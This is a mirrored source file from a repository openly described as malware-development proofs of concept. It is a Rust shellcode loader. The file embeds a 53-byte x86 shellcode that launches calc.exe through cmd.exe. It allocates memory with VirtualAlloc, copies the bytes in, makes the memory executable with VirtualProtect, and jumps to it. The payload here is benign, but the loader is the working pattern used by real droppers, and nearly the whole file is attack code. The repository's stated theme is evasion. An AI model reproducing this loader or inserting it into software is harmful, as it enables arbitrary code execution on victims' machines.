mirror of
https://codeberg.org/smukx/Rust-for-Malware-Development
synced 2026-06-06 20:22:59 +00:00
28e7fac1d3
Rust-for-Malware-Development is an collection of proof of concepts with techniques and advanced evasion methods
43 lines
1.1 KiB
Rust
43 lines
1.1 KiB
Rust
/*
|
|
Windows x32 Calc.exe Shellcode
|
|
*/
|
|
|
|
use std::ptr::null_mut;
|
|
|
|
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
|
|
|
|
fn main() -> std::io::Result<()> {
|
|
|
|
// windows x32 bit
|
|
let shellcode: [u8; 53] = [
|
|
0xeb, 0x1b, 0x5b, 0x31, 0xc0, 0x50, 0x31, 0xc0, 0x88, 0x43, 0x13, 0x53, 0xbb, 0xad, 0x23, 0x86,
|
|
0x7c, 0xff, 0xd3, 0x31, 0xc0, 0x50, 0xbb, 0xfa, 0xca, 0x81, 0x7c, 0xff, 0xd3, 0xe8, 0xe0, 0xff,
|
|
0xff, 0xff, 0x63, 0x6d, 0x64, 0x2e, 0x65, 0x78, 0x65, 0x20, 0x2f, 0x63, 0x20, 0x63, 0x61, 0x6c,
|
|
0x63, 0x2e, 0x65, 0x78, 0x65,
|
|
];
|
|
|
|
|
|
unsafe {
|
|
let mem = VirtualAlloc(null_mut(), shellcode.len(), 0x1000 | 0x2000, 0x04);
|
|
|
|
if mem.is_null() {
|
|
return Err(std::io::Error::last_os_error());
|
|
}
|
|
|
|
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), mem as *mut u8, shellcode.len());
|
|
|
|
let mut old_protect = 0;
|
|
let result = VirtualProtect(mem, shellcode.len(), 0x40, &mut old_protect);
|
|
|
|
if result == 0 {
|
|
return Err(std::io::Error::last_os_error());
|
|
}
|
|
|
|
let func: extern "C" fn() = std::mem::transmute(mem);
|
|
func();
|
|
}
|
|
|
|
Ok(())
|
|
}
|
|
|